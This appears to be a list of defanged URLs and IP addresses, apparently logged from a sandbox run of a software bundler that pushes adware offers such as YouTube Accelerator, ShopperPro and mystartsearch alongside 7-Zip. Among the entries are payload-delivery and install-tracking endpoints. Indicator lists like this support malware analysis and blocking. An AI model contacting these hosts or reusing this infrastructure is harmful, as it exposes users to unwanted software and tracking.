hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=aonlVHCKlbW/q1OYm6RuNseI11IItJtH9jcckqEM4t 9gdZ7vVVoir9hXn5fpF0A/EmjUQkbJhH56Z3csCJxKxjG8uFQJiyiI wXmj0gKSx1hum5eQGoao1lUND7dG30GJlpQDKee5oc2gW43IBQaOuVwDpqKHN7aE3O18WF9F24IkcWc7T1uqkViX/vEF9gCuWk0op3HznMlTjuIPCQ7SmB6nzH lJGgNLtxmH87yasaZRg38QqQq/INVbahIP2NFI idKeXtY6OPzltHHEh4SKAFSm7JN4Dvl1Ie0NYsXYWYJZ2G1R08LLBToZpaFbCHIQkF 4wy/1OplaBX/JKxBlxZ9aXoUf91SyXt9 XnayBMUx nL2Mb2B BMTyhSZOZepBrCxlI5QDt2X2jDCEkGOIu4hjM1EBLWr7TOg1Z6h91EEVPgmIU3a41vdK7U/rm5q3wSMR olRVRTi0pA8QTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cXZ8qiEfUAdC/pgYcHdP8meE6sju5 rgUTyd34HzPJcwqWvr3OUkCK3vhVF7LCpBZpY252DCsExwfJKZ4NCKSCQ== 54.197.238.106
hxxp://www.youtubeaccelerator.com/googleanalytics.js 107.20.238.80
hxxp://pix.youtubeaccelerator.com/YTAFinishInstall.gif 107.20.238.80
hxxp://clients1.google.com/ocsp 173.194.113.201
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action1=xa.geoip&action2=visit&action3=smt.visit.mystartsearch&update1=ref,smt&update2=identifier,installer&update3=version,6.3.76.1518&update4=nation,us&update5=language,en 65.255.35.142
hxxp://crl.microsoft.com/pki/crl/products/WinPCA.crl 88.221.132.166
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilG6nyHpDS4bOY4G r 3F6T7H7pKsXVuis88 KcWSiy /2tEQoG17P7tYpb spL69FdcbuyjMlr5C9jP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29pMQBpyXuqMyuE6sju5 rgUTyd34HzPJcwqWvr3OUkCK3vhVF7LCpBZLGLAfTrAj6o= 54.230.200.21
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va9DzSREg8dBLdCUHeR8YCF3e0ze47pQVOJ6ui3jv/3sP/4jVWMunDHWleI3B6uYg8lqpwuyqc3XiTEOgAi5qcHFAjty0U0tb3YV31 7Nekt0xm46XXR1FJOjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LW6zVFlLdS7 Sp4vJbFkTJZmo3hTCidILO7jdoKu0sWmb7Whn ft8sw== 54.230.200.21
hxxp://ocsp2.globalsign.com/gscodesignsha2g2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQpEOCqbmTiQA9OjY//t2aa8NSkuwQUGUq4WuRNMaUU5V7sL6Mc+oCMMmsCEhEhEciVJl3DcOpdbVDkbeKcRg== 108.162.232.205
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=DNkDj dFVmAfAxEXghvnLKarWOV6aKJSTEgCpOx0T0GQL2F0hg1RicLJlw9FGc64Q8eBMx9XGU39SgIg44p4zUb2k6Rn898YXCSgtUXqN5/aaUzToxOfiz0mbos5SmUuL1RonSUM0G8HF9ed47qLJdLkq GrncHeyXBDP8Ld0 yRF51HAH62ECVvD8H/vspbLuI3LPJ2qO62XevNeS4vezffbwpk5Gf9jPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9s6SjYYF5i7guVX4ezbhi3MtTg/jMh0VmqJaNYNsM7TWeXVGwxO6WJTGfUAa7iw46Ynx1L6FK423s0cbRhisxVkFHdk/gnZ pY= 54.197.238.106
hxxp://ocsp.omniroot.com/baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnqkc= 93.184.220.20
hxxp://online.GOOBZO.com/online/RegisterAnon.aspx?ProductID=12000&Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&BundleID=NONE&BrandID=NONE&PartnerList=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=043Mckb8LnhPNjxRBLtb458QinFONRS1/WD6e6SZIIGq9exvwYRubwRSl12vCJvFO0r kKXC exNoyGqz0C5tb1jMdSA82QgIkh5vx8m4RUvXgNHItgY0G iVxYuINcn b/YhL9w2PTXoMXpqBnYfZA47cWpTsAc333RAvM0VMAVvLxh6eIKnHvKbjUyzCCcFAL52sIXt4WvqlYaxbLxssmdOYlMc5582M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2kxAGnJe6ozK4TqyO7n6uBRPJ3fgfM8lzCpa vc5SQIre FUXssKkFksYsB9OsCPqg== 54.230.200.21
hxxp://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl 88.221.132.166
hxxp://inst.shoppingate.info/js/sg_bg.js?AFFILIATE_ID=cfvt_sg&SUB_DISTRIBUTER_ID=iF2EwJSsmtycl&BRAND_DISPLAY_NAME=ShopperPro&FALLBACK_URL=http://i.sbitinjs.info/sbitin/javascript.js?hid=aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0&apptitle=ShopperPro&channel=iF2EwJSsmtycl 198.232.124.37
hxxp://installer.filebulldog.com/awat7zip54650/7zip/032b51a823ded246ba19346b82f99535?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423 78.138.127.15
hxxp://d2wy0yopxw6nne.cloudfront.net/images/Tokyo/tokyoLightGrayStripesBG.jpg 54.230.200.21
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=aUlNCxxkjnQfAxEXghvnLEo/brKkfV8Y1VMaOJFqXYpxTYwWxYG9WArrnjIMl4VboUDW29 K3KaPWIh/dm2RyHf1ws7XaD2yIg0p1vUMLr4E8SFHLIEPsGJTlYCQaOf7GuVxeoIbRG3Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q== 54.230.200.21
hxxp://installer.filebulldog.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=236762cce52fe54e8735a3807f6f1de4&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=bca770a08b436005085d2663e3ef3f0a&tokyo_csrf2_timestamp=1423886294&slot_number=1&index_in_screen=1&index_in_session=1&0.3060995307041733 78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va/Y/O50oRY4mZGcLghnE/hl7kN6o7do63berPp8I6b9hEpjLCrDgTug3T3SRc0DL8l/N3fFIaCTlgTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS1bF cUxn9p9TaMhqs9AubW9YzHUgPNkICJIeb8fJuEVL14DRyLYGNAPza3zhCEzMg== 54.230.200.21
hxxp://installer.filebulldog.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=032b51a823ded246ba19346b82f99535&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=dff471ae8875df20b51e21b816962f44&tokyo_csrf2_timestamp=1423886467&slot_number=1&index_in_screen=1&index_in_session=1&0.2669770722692098 78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilE89M3w jUOHhMAGkRtqR4lD3rLLdbpIg4ziRr/akiwhTFy9WhiMhHRBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLVsX5xTGf2n1NoyGqz0C5tb1jMdSA82QgIkh5vx8m4RUvXgNHItgY0A/NrfOEITMy 54.230.200.21
hxxp://www.googleadservices.com/pagead/conversion/971163981/?random=1423886361816&cv=7&fst=1423886361816&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1683&u_ah=857&u_aw=1683&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE&vis=1 173.194.113.205
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va/aaY YTEt5UpR90anDedSCwwlzaMFN/KKrJhv0HKSN7b 4IgVQCGNdqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1OGtgGPBLNiKmYNGV/LfiHJzSIiIPHC49anS0RWv4TbB4GFXwsYdq8pWauENVV1rDA== 54.230.200.21
hxxp://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAHevvgBk+xJc0C0AAQAAd68= 108.162.232.207
hxxp://flex.msn.com/mstag/mstag.1003102000.js 207.46.194.8
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va94pHMK6k0QKwTxIUcsgQ wzdQpwoYb2d3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H3y7zLJF1EQs63NQFKTd3L/Kt8x6kEY4pNtaXj6719HofA6J5 vpfRM 54.230.200.21
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=KC46TpkJIZzvtemz1TdLVimVSxD0vRfV7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlkiqa1CzzkCRWOvghCBTr/XvKbjUyzCCcFAL52sIXt4UXMdeVS0aoyqaY9smyAWh8mM5hZr01z5BPRfpuA3pV/ Jv7yVw7xdhvEq1XCmEIT/KGwMMc0gnpNgExseWQzn2EHlpLL4kVIU2Yigf/vHml3fTzht6ovY1YV lHKmkCemqn1dzsO21qNjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29pMQBpyXuqMyuE6sju5 rgUTyd34HzPJcwqWvr3OUkCK3vhVF7LCpBZLGLAfTrAj6o= 54.230.200.21
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=032b51a823ded246ba19346b82f99535&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=dff471ae8875df20b51e21b816962f44&tokyo_csrf2_timestamp=1423886467&slot_number=3&index_in_screen=1&index_in_session=3&display_height=75&0.670880497716196 78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilFQ8FnfYbyw8RQC drCF7eFUmQQdPDgqNo92S527KGfc4zwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS1us1RZS3Uu/kqeLyWxZEyWZqN4UwonSCzu43aCrtLFpm 1oZ/n7fLM= 54.230.200.21
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=KSz5qzb2KgIHmSWm27gjw4xXl6h7wlThoTOTuZNeMFD8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTVome7UQCaFakViX/vEF9gCuWk0op3HznMlTjuIPCQ7TXvHUkMUSkH3bwyJuwJoGyeY/e3xqcYNzjbxIkPSG0LntO0hfxvipXLS8QKBdwSe29z1KklHinBKYX3Ti/i3YMgCmKZYKupqcl/Ws PcA i2e 30EIiBCCYhSK4oI05rb38XFohDsSs4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlQY4i7iGMzUQEtavtM6DVnqH3UQRU CYhTdrjW90rtT8fCNPMMZQVvw== 54.230.200.21
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va/VnFVL/bsGoNCUHeR8YCF313OfQWxYQIj9DDxdB8IX3/IOb5O/qAEzZrdGZ5CXclXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaTEAacl7qjMrhOrI7ufq4FE8nd B8zyXMKlr69zlJAit74VReywqQWSxiwH06wI q 54.230.200.21
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEEES5jLHsYoCmjofrIA6uJ8= 23.43.139.27
hxxp://online.GOOBZO.com/online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.4&Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&BundleID=NONE&BrandID=NONE&PartnerList=
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023b93ee3ddb84f912034f3917e580f&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=1f9ac8845ca219af3f49645e02cffe6f&tokyo_csrf2_timestamp=1423886216&slot_number=4&index_in_screen=1&index_in_session=4&0.3634406132951685 78.138.127.15
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023b93ee3ddb84f912034f3917e580f&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=1f9ac8845ca219af3f49645e02cffe6f&tokyo_csrf2_timestamp=1423886216&slot_number=3&index_in_screen=1&index_in_session=3&0.020092481255080396 78.138.127.15
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=eFCD8T/coiffLKKeESUbyWrXo tCnzTysXg2Ujmg/gRP XtorcoTKgxB9pWV4xt1IE3xXY68lVv0XfOKUZXMM/7Dni2x5uCyQ9DwXtKsNpv8SaNRCRsmETynsL3GEE9THxNehxSBobnl1RsMTuliUxn1AGu4sOOmJ8dS hSuNt4H9enuGnP2ecO0XORzHjel Qi34DV81hm9ABjuVptn8v8ankP8n9dyrKt6FFFGjDmPwcSeTfjP3YwzWtA8HvLhy/5h5mk4MLUvgTj4recZvqjqwYrUBZupSK5Npo64WvnAOPNnWV9jDGdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgt4T3HqLJ/VO6CT26NwNt2ARXvE/0UwxiIR1sKxPFdTdiKBXSOghe2a3NQFKTd3L/Kt8x6kEY4pNtaXj6719Hoc6Hozo4QbpbsS34YoJGU6w= 54.197.238.106
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=032b51a823ded246ba19346b82f99535&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=dff471ae8875df20b51e21b816962f44&tokyo_csrf2_timestamp=1423886467&slot_number=2&index_in_screen=1&index_in_session=2&display_height=90&0.7467430618831574 78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilGp5hhmFUu/wdCUHeR8YCF3HIVD2kslcMDwqofAqjkOQ/eJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLIlo1g2wztNZ5dUbDE7pYlMZ9QBruLDjpifHUvoUrjbeHEbeUrrG4lg= 54.230.200.21
hxxp://ocsp.comodoca.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBSOJaE2H4hHYQzP74hlLuO41NG+EAQUHsWxLH2H2gJofCW8DAeEP7bP3vECEQCEHQmdFrc480Fy/u/h0ldP 178.255.83.1
hxxp://dfb5uyoqjsg4c.cloudfront.net/install.ashx?e=aonlVHCKlbVPNjxRBLtb40RRy RFgoZeHBKWDIV8zAnOo8fXRAOTcAWwrv9hreqncfgJCYrAwfjGDr5NwV0atd28MibsCaBsQXlxtBq2M/Wb87aptZLNDFA1P6i6ssaToXvV0ACP4NMVyaunraoeQQeRzm SyrO9PGH ugOdU1dJ9zwWOe4GWkqTRYdykYznQcOav1fvIInFToJxGXpok7Mp5a5JKLY8Zwk6Ivra9mA ljlEQKk7qP8ZX0e8f/wZaex k0lO1bRlHilhBCrHutCtLI2jnxFtO2YKgZHX2edYluIlhKckqejXQuHaKGTBrNY0MH32 Vpli0vhDt6hccxbZzrrWlFPRVquFz8IHIPiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmjpB9iJ5C2tEAebAnsXQ5mE= 54.230.200.252
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va/GBdpOSxhWVkVmCwhd6chxMOD1JqSN m3VULKr5vfVH4qYyeeQ3tOz2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2kxAGnJe6ozK4TqyO7n6uBRPJ3fgfM8lzCpa vc5SQIre FUXssKkFksYsB9OsCPqg== 54.230.200.21
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=p9HAq5TtKa/HiNdSCLSbRwiu d pc45zQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3YigV0joIXtmtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HOh6M6OEG6W7xTD5wywOJP/u6z7Uinv/hnet2bNFIaB3rHUqT9uqiByETj4nts NO517CUeh0QiwTxIUcsgQ wQ1V8jD1/9CkaS32V9suMAqwzeR60aTHX2KqK8eF3pkIgGeUpHHIWiSSfRcuIfR0fUu0KI1IApgUwqc65TUDdv5q8anNpZS6ER2T7PbHKfVMzwh6 kBmZAm/6pH veTXixuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux98u8yyRdRELOtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HwOiefr6X0TA== 54.230.200.21
hxxp://ocsp.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECEBILJd3le4hjatTZfSO5nIg= 23.43.139.27
hxxp://www.youtubeaccelerator.com/img/accelerating-videos.jpg 107.20.238.80
hxxp://install.sourceapp.info/if?alpha=FTkjUDhBYFl3d1hGDHo3FH1wXTgVZS94NSAKN0F9R2VpF30ASEB5E1UoaicpCTl/QxFXNhlfeAk+dxIuEnJeU1B5OWNJP0xzbBZgKGg6fWcXJGBQckBrey5NESNVFSwbdXZPPEdYJyRRH2ZOUmlNMiADMhVMO1F4DU57DThFP1IzFi5nPTVgHSFODDE1WhJnfgR9M1wiDj9gajVhVyAXOhNqYUc+XkchJFMWcykCPB9dZFpJTBoFEiZWfScaekU6LRIRHTZgTCBEezxXbWknVDg/VSQzVjFcQCl/NQY0N01nVyE/EzAnHH1yCVA4I0ZvTTJ0XAADEA4UL0syD1V9UjMcDxg/KwYVYBA6chZ9bik1fGUBcGZCPVxiJ3AoHUcxVHFRKyYZY1BPMyBIFmU4UGlIP2VQBlMWHgdqSW4hVz4afF5OTm1kIhBvGjI4IDM+ZQx9Ykc9QF89R2kiPFsnBmVHZwp+IQAwRFN9JBYaMikHL0QmJhlFFU1bDysEP3IGKxBmWlZEeUlrTj5OYTBDOS00M0N9BmdwHXRlQTF9ejZHR0tmVy0uGi0jVUBVNW5rSw8qEj9SUAJMHBhgLjI4Ym0+
hxxp://install.sourceapp.info/fp?alpha=Ej1bUW5PNTltcUxMdHthE3kIXG4SYU0gLzU8Gk4yFSlWUSgQTFlScmQLQF83UyJXBRUPTzdUJBNKDg18Cm4hJxh/SRpPbDJoTEJ4N2kgXHFRPFgdMAUlDCVrbFNbE3sXaRpFakJHUi4CFXpHSjxILlYFERNDNVcxDzsKD25FK3lcfgF4SA89XmRLRD86LStufAImTQlgFDAHPW5sQ10WbxZlF0BsV0YONwQSb0BeL08oTlJDAh9hRX5TNmpVJ0I2fhkIGGpKFTYcPRIDYjt+PUMIJDcPQmYJOg4sb2RVWRFkRS9bSgweHw94R1NvMwJpG3UKUVB8BzZaLwo8CDduUi1+BRUOOB88bDdkS0kzZzRfImhVIVUdMA0/CTBpEVdbFHsVb3E2HzNjORlcZ2cd
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023b93ee3ddb84f912034f3917e580f&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=1f9ac8845ca219af3f49645e02cffe6f&tokyo_csrf2_timestamp=1423886216&slot_number=2&index_in_screen=1&index_in_session=2&display_height=170&0.5111454311401191 78.138.127.15
hxxp://ocsp.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD/yl6nWPkczAQUe1tFz6/Oy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS+zcBkvzl4= 23.43.139.27
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023b93ee3ddb84f912034f3917e580f&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=1f9ac8845ca219af3f49645e02cffe6f&tokyo_csrf2_timestamp=1423886216&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.8235984293952341 78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va/mJXdux5Fvl9n5EWJRAEnQKYX3Ti/i3YP1b661ON6JHo8ELrHrpRwVw1PcYrVm0Q9XQ9J8KSs5a4MNpNQo19uHgy6YlW82m1mJd/JSmlPgygFakk3mKHZ8nZ92R8WPtSPD39uruDJE98eAAVArKptKUdW1y396VwWkTqbSbpNNR48UBgfn/EdyjMb3M1eFmdc2 Le3/eDB Eeu2KCTq4AUbl4e0/dEFirVXgd6TQBX2bwyCrtkSlvF94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsiWjWDbDO01nl1RsMTuliUxn1AGu4sOOmJ8dS hSuNt4cRt5SusbiWA== 54.230.200.21
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilGuHIWxfCuVNupHivO720KFFagtWkIz2ISx9RhQzQsRLGdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSrgiRxZztPW6qRWJf 8QX2AK5aTSincfOcyVOO4g8JDtm1Uc0BN5IxI= 54.230.200.21
hxxp://install.sourceapp.info/mg?alpha=flMqVS5hHR8jOXguBX8hQRpoRisgQC5pbgVed1JwK1cHA2s9bH0uQgljQid4Kk0yCVt/IllTbmVdZng8ewJLU15mUWs/Ky0LTVl6FAAFbyE8TywEcmhWfzQuCD0oCjJ4AnZeKysvKj5AfBE2U38iRS8AUn4zHRRhIQg7CH0qEAsEVRBRYkwoJQo6WnlwWV47JjhKOlk0ZVVpfHBbMClPfiQvHBIH
hxxp://online.GOOBZO.com/online/Report.aspx
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilGUdFrhJe3WxdJDpDz//pXKbvHgH1rDiuWSzoZuyojt PDCkamWPkwR nZ49x ZwAb3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhyyJaNYNsM7TWeXVGwxO6WJTGfUAa7iw46Ynx1L6FK423hxG3lK6xuJY 54.230.200.21
hxxp://crl.globalsign.net/root-r3.crl 108.162.232.205
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=aonlVHCKlbW/q1OYm6RuNseI11IItJtH9jcckqEM4t 9gdZ7vVVoir9hXn5fpF0A/EmjUQkbJhH56Z3csCJxKxjG8uFQJiyiI wXmj0gKSzJRj7MvvoN91OAdVu9uBuJ3uqB6Mv dB27cUxOKK2MzR4jZeTGaYuG2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gbgiRxZztPW6qRWJf 8QX2AK5aTSincfOcyVOO4g8JDtBvljreUdSotWLfeo/B59z4BlKlGJcuDg 54.197.238.106
